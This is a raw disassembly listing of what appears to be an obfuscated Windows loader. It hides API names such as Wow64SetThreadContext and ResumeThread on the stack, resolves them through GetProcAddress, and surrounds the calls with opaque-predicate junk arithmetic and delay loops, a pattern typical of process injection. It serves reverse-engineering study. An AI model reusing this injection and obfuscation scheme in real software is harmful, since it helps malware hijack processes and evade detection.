cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
movapd xmm0, xmmword [0x14012b330]
movapd xmmword [rsp + 0x60], xmm0
movapd xmm6, xmmword [0x14012b340]
movapd xmmword [rsp + 0x70], xmm6
movabs rdi, 0x7800650074006e
mov qword [rsp + 0x80], rdi
mov dword [rsp + 0x88], 0x74
lea rcx, [rsp + 0x60]
call qword [r11 + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
setne r15b
je 0x1400064af
mov rcx, qword [rsp + 0xf8]
lea rdx, [rsp + 0x130]
call rax
mov rcx, qword [rsp + 0xf0]
mov edx, dword [rsp + 0x1d4]
add rdx, 8
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0xe0]
mov r9d, 4
call qword [rsp + 0x408]
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x60], xmm0
movapd xmmword [rsp + 0x70], xmm0
movupd xmmword [rsp + 0x7c], xmm0
mov esi, 0x2cbb
movapd xmm7, xmmword [0x14012b350]
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm7
movupd xmmword [rax + 0x10], xmm7
movupd xmmword [rax + 0x20], xmm7
movupd xmmword [rax + 0x30], xmm7
movupd xmmword [rax + 0x40], xmm7
movupd xmmword [rax + 0x50], xmm7
movupd xmmword [rax + 0x60], xmm7
movupd xmmword [rax + 0x70], xmm7
movupd xmmword [rax + 0x80], xmm7
movupd xmmword [rax + 0x90], xmm7
movupd xmmword [rax + 0xa0], xmm7
movupd xmmword [rax + 0xb0], xmm7
movupd xmmword [rax + 0xc0], xmm7
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140007a2a
movups xmm0, xmmword [0x1401a3be0]
movups xmmword [rsp + 0xcc], xmm0
movups xmm0, xmmword [0x1401a3bd4]
movaps xmmword [rsp + 0xc0], xmm0
movupd xmm0, xmmword [0x1401a3bc4]
movapd xmmword [rsp + 0xb0], xmm0
mov eax, dword [rbx + 0x28]
add eax, dword [rsp + 0xe0]
mov dword [rsp + 0x1e0], eax
lea rcx, [0x14011d6f8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140009567
lea rcx, [0x14011d6d8]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140007c0a
mov r8d, dword [rcx]
jmp 0x1400082a3
mov eax, 0xa
jmp 0x140002d87
mov eax, 0xa
jmp 0x140002ea7
mov eax, 0xa
jmp 0x1400034c7
mov eax, 0xa
jmp 0x1400035e7
ucomisd xmm1, qword [0x14012b198]
jne 0x140008dda
jp 0x140008dda
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x14000437c
ucomisd xmm1, qword [0x14012b198]
jne 0x140008de4
jp 0x140008de4
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si r9d, xmm0
jmp 0x1400046a6
ucomisd xmm1, qword [0x14012b198]
jne 0x140008def
jp 0x140008def
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x140004794
ucomisd xmm1, qword [0x14012b198]
jne 0x140008df9
jp 0x140008df9
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x1400048ab
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140007d29
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b300]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007cea
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140007cea
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x14000907e
jp 0x14000907e
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007c7c
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140008185
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140007e69
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b360]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007e2a
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140007e2a
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x140009343
jp 0x140009343
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007dbc
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140007f82
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b368]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007f43
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140007f43
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x140009383
jp 0x140009383
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007ed5
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2f0]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140008040
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140008040
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x1400090be
jp 0x1400090be
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007fd2
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2f0]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000813e
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000813e
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x1400090ff
jp 0x1400090ff
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400080d0
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x1400082a3
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b370]
movsd qword [rsp + 0x90], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140008264
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140008264
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
jne 0x14000913f
jp 0x14000913f
movsd qword [rsp + 0x90], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400081f6
movsd xmm0, qword [rsp + 0x90]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f540]
movaps xmm0, xmmword [str.Wow64Set]
movaps xmmword [rsp + 0xb0], xmm0
movapd xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], rdi
mov dword [rsp + 0xd8], 0x74
lea rcx, [rsp + 0xb0]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xf8]
lea rdx, [rsp + 0x130]
call rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xcc], xmm0
mov esi, 0x2d3a
movapd xmm6, xmmword [0x14012b390]
movabs rdi, 0x173f0000173f
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm6
movupd xmmword [rax + 0x10], xmm6
movupd xmmword [rax + 0x20], xmm6
mov qword [rax + 0x30], rdi
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140008337
movups xmm0, xmmword [0x1401a3bfa]
movups xmmword [rsp + 0x9a], xmm0
movupd xmm0, xmmword [0x1401a3bf0]
movapd xmmword [rsp + 0x90], xmm0
lea rcx, [0x14011d738]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140009591
lea rcx, [0x14011d718]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x1400083b1
mov r8d, dword [rcx]
jmp 0x1400089f0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x1400084c1
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b370]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140008485
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140008485
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x14000917f
jp 0x14000917f
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140008420
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400088e1
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x1400085f2
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b3a0]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400085b6
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400085b6
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x1400093c3
jp 0x1400093c3
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140008551
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x1400086fc
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b3a8]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400086c0
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400086c0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x1400093fa
jp 0x1400093fa
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000865b
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b368]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400087ae
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400087ae
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x1400091b6
jp 0x1400091b6
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140008749
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b368]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000889d
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000889d
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x1400091ee
jp 0x1400091ee
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140008838
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x1400089f0
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b3b0]
movsd qword [rsp + 0x58], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400089b4
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400089b4
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
jne 0x140009225
jp 0x140009225
movsd qword [rsp + 0x58], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000894f
movsd xmm0, qword [rsp + 0x58]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
movapd xmm0, xmmword [str.ResumeTh]
movapd xmmword [rsp + 0x90], xmm0
movabs rcx, 0x64006100650072
mov qword [rsp + 0xa0], rcx
mov word [rsp + 0xa8], 0
lea rcx, [rsp + 0x90]
lea rdx, [0x14011f6d0]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xf8]
call rax
jmp 0x1400064af
mov eax, 0xa
jmp 0x140003cf7
mov eax, 0xa
jmp 0x140003e10
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e03
jp 0x140008e03
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140005cdb
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e0d
jp 0x140008e0d
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si r9d, xmm0
jmp 0x140006032
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e18
jp 0x140008e18
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x14000612f
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e22
jp 0x140008e22
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140006255
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e2c
jp 0x140008e2c
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004bd4
ucomisd xmm1, qword [0x14012b198]
jne 0x140008e36
jp 0x140008e36
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004ced
mov eax, 0xa
jmp 0x140004a94
mov r9d, 0xa
jmp 0x140004deb
mov eax, 0xa
jmp 0x140004ee8
mov eax, 0xa
jmp 0x14000500e
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f02
jp 0x140008f02
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x1400044ad
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f0c
jp 0x140008f0c
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x1400045b7
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f16
jp 0x140008f16
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140005e1b
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f20
jp 0x140008f20
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140005f34
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f54
jp 0x140008f54
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x14000552d
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f5e
jp 0x140008f5e
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si r9d, xmm0
jmp 0x140005857
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f69
jp 0x140008f69
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x140005945
ucomisd xmm1, qword [0x14012b198]
jne 0x140008f73
jp 0x140008f73
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x140005a5c
mov eax, 0xa
jmp 0x14000437c
mov r9d, 0xa
jmp 0x1400046a6
mov eax, 0xa
jmp 0x140004794
mov eax, 0xa
jmp 0x1400048ab
mov eax, 0xa
jmp 0x140005cdb
mov r9d, 0xa
jmp 0x140006032
mov eax, 0xa
jmp 0x14000612f
mov eax, 0xa
jmp 0x140006255
mov eax, 0xa
jmp 0x140004bd4
mov eax, 0xa
jmp 0x140004ced
lea rcx, [0x14011d498]
call fcn.14001f2c0
mov byte [rax + 4], 0
